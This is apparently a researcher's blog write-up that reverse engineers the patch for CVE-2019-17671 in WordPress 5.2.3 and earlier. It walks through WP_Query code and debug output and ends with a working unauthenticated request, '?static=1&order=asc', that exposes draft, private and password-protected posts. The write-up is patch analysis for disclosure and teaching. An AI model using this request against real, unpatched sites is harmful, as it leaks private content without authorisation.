Proof of Concept for "Wordpress <=5.2.3: viewing unauthenticated posts" (CVE-2019-17671)

A couple of days Wordpress released 5.2.4 with a few security patches. Props to J.D. Grimes who found and disclosed a method of viewing unauthenticated posts. caught my attention, but I couldn't find a public Proof of Concept, so I set out to reverse engineer the published patch.

Information Gathering

My first step was to find as much information as possible about the bug as I couldn't find a PoC. I compared the statements from different security companies. Most recited the same phrase of "possibility to view unauthenticated posts":

I discovered the relevant patch in the Wordpress SVN repo / Github repo mirror by selecting the branch 5.2-branch and going through the list of most recent commits, looking for a commit that mentions unauthenticated posts or viewing posts or something similar. Commit f82ed753cf00329a5e41f2cb6dc521085136f308 looked interesting!

Analysing the Patch

The commit changed only two lines of code and removed a static keyword as well as one part from an if-condition.

My educated guess was that the removed static check played a major role in the bypass. In wp-includes/class-wp-query.php on line 731 the function parse_query begins. It sanitizes and parses all passed query ($_GET?) parameters.

From line 696 to 922 we see an about 125 lines long block of conditionals that set $this->is_single or $this->is_attachment or $this->is_page depending on the given parameters. As all of those cases are based on elseif; only one branch can be evaluated and we know which branch that should be:

            // If year, month, day, hour, minute, and second are set, a single
            // post is being queried.
		} elseif ( '' != $qv['static'] || '' != $qv['pagename'] || ! empty( $qv['page_id'] ) ) {
			$this->is_page   = true;
			$this->is_single = false;
		} else {
        // Look for archive queries. Dates, categories, authors, search, post type archives.

So we definitely don't want to set parameters like attachment, name, p, hour, etc. that would cause our branch to be skipped. We also cannot set the parameters pagename or page_id, because we don't know them and/or they would only return one result which would fail the access control checks.

Instead, we need to use static=1 in our list of parameters. At this point it took me a few hours to understand and become familiar with Wordpress' code base and surrounding functions.

Eventually I came across the function get_posts() which queries the database using the (parsed) parameters.

	public function get_posts() {
		global $wpdb;

		$this->parse_query();
        [..]

With a bit of var_dump debugging at various locations, I finally stumbled across the following block:

		// Check post status to determine if post should be displayed.
		if ( ! empty( $this->posts ) && ( $this->is_single || $this->is_page ) ) {
			$status = get_post_status( $this->posts[0] );
			if ( 'attachment' === $this->posts[0]->post_type && 0 === (int) $this->posts[0]->post_parent ) {
				$this->is_page       = false;
				$this->is_single     = true;
				$this->is_attachment = true;
			}
			$post_status_obj = get_post_status_object( $status );

            //PoC: Let's see what we have
			//var_dump($q_status);
			//var_dump($post_status_obj);
			// If the post_status was specifically requested, let it pass through.
			if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {
				//var_dump("PoC: Incorrect status! :-/");
				if ( ! is_user_logged_in() ) {
					// User must be logged in to view unpublished posts.
					$this->posts = array();
					//var_dump("PoC: No posts :-(");
				} else {
					if ( $post_status_obj->protected ) {
						// User must have edit permissions on the draft to preview.
						if ( ! current_user_can( $edit_cap, $this->posts[0]->ID ) ) {
							$this->posts = array();
						} else {
							$this->is_preview = true;
							if ( 'future' != $status ) {
								$this->posts[0]->post_date = current_time( 'mysql' );
							}
						}
					} elseif ( $post_status_obj->private ) {
						if ( ! current_user_can( $read_cap, $this->posts[0]->ID ) ) {
							$this->posts = array();
						}
					} else {
						$this->posts = array();
					}
				}
			}

As we do not specify any specific query parameters, except for static=1, the SQL query before the $this->posts = $wpdb->get_results($this->request); will be var_dump($this->request);:

string(112) "SELECT   wp_posts.* FROM wp_posts  WHERE 1=1  AND wp_posts.post_type = 'page'  ORDER BY wp_posts.post_date DESC "

This should return all pages from the database (including password protected, pending and drafts). Therefore, ! empty( $this->posts ) && ( $this->is_single || $this->is_page ) is evaluated to true.

The function then proceeds to check the status of the first (!) returned post ($status = get_post_status( $this->posts[0] );):

if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {

If the first post's status is not public, then further access control checks are conducted. I.e. when the user is unauthenticated, the $this->posts array is emptied.

Exploiting the Bug

So the obvious trick is to manipulate the query in such a way that the first post has status published, but more than 1 post is returned in the array.

For that, creating a few pages is necessary:

  • One that is published
  • One that is a draft

I'll use pages here, becaue post_type='page' is set by default, but setting &post_type=post changes it to post_type = 'post' if necessary.

So far we know that adding ?static=1 to a wordpress URL should leak its secret content. Adding a var_dump($this->posts); before the access control checks, we can see the following pages being returned for http://wordpress.local/?static=1:

array(2) {
  [0]=>
  object(WP_Post)#763 (24) {
    ["ID"]=>
    int(43)
    ["post_author"]=>
    string(1) "1"
    ["post_date"]=>
    string(19) "2019-10-20 03:55:29"
    ["post_date_gmt"]=>
    string(19) "0000-00-00 00:00:00"
    ["post_content"]=>
    string(79) "<!-- wp:paragraph -->
<p>A draft with secret content</p>
<!-- /wp:paragraph -->"
    ["post_title"]=>
    string(7) "A draft"
    ["post_excerpt"]=>
    string(0) ""
    ["post_status"]=>
    string(5) "draft"
    ["comment_status"]=>
    string(6) "closed"
    ["ping_status"]=>
    string(6) "closed"
    ["post_password"]=>
    string(0) ""
    ["post_name"]=>
    string(0) ""
    ["to_ping"]=>
    string(0) ""
    ["pinged"]=>
    string(0) ""
    ["post_modified"]=>
    string(19) "2019-10-20 03:55:29"
    ["post_modified_gmt"]=>
    string(19) "2019-10-20 03:55:29"
    ["post_content_filtered"]=>
    string(0) ""
    ["post_parent"]=>
    int(0)
    ["guid"]=>
    string(34) "http://wordpress.local/?page_id=43"
    ["menu_order"]=>
    int(0)
    ["post_type"]=>
    string(4) "page"
    ["post_mime_type"]=>
    string(0) ""
    ["comment_count"]=>
    string(1) "0"
    ["filter"]=>
    string(3) "raw"
  }
  [1]=>
  object(WP_Post)#764 (24) {
    ["ID"]=>
    int(41)
    ["post_author"]=>
    string(1) "1"
    ["post_date"]=>
    string(19) "2019-10-20 03:54:50"
    ["post_date_gmt"]=>
    string(19) "2019-10-20 03:54:50"
    ["post_content"]=>
    string(66) "<!-- wp:paragraph -->
<p>Public content</p>
<!-- /wp:paragraph -->"
    ["post_title"]=>
    string(13) "A public page"
    ["post_excerpt"]=>
    string(0) ""
    ["post_status"]=>
    string(7) "publish"
    ["comment_status"]=>
    string(6) "closed"
    ["ping_status"]=>
    string(6) "closed"
    ["post_password"]=>
    string(0) ""
    ["post_name"]=>
    string(13) "a-public-page"
    ["to_ping"]=>
    string(0) ""
    ["pinged"]=>
    string(0) ""
    ["post_modified"]=>
    string(19) "2019-10-20 03:55:10"
    ["post_modified_gmt"]=>
    string(19) "2019-10-20 03:55:10"
    ["post_content_filtered"]=>
    string(0) ""
    ["post_parent"]=>
    int(0)
    ["guid"]=>
    string(34) "http://wordpress.local/?page_id=41"
    ["menu_order"]=>
    int(0)
    ["post_type"]=>
    string(4) "page"
    ["post_mime_type"]=>
    string(0) ""
    ["comment_count"]=>
    string(1) "0"
    ["filter"]=>
    string(3) "raw"
  }
}

As you can see, the first page in the array is the draft (["post_status"]=>string(5) "draft"), therefore nothing can be seen:

However, there are a few ways to manipulate the returned entries:

  • order with asc or desc
  • orderby
  • m with m=YYYY, m=YYYYMM or m=YYYYMMDD date format
  • ...

In this case, simply reversing the order of the returned elements suffices and http://wordpress.local/?static=1&order=asc will show the secret content:

UPDATE

This issue also discloses password protected and private posts:

WIN!

-=-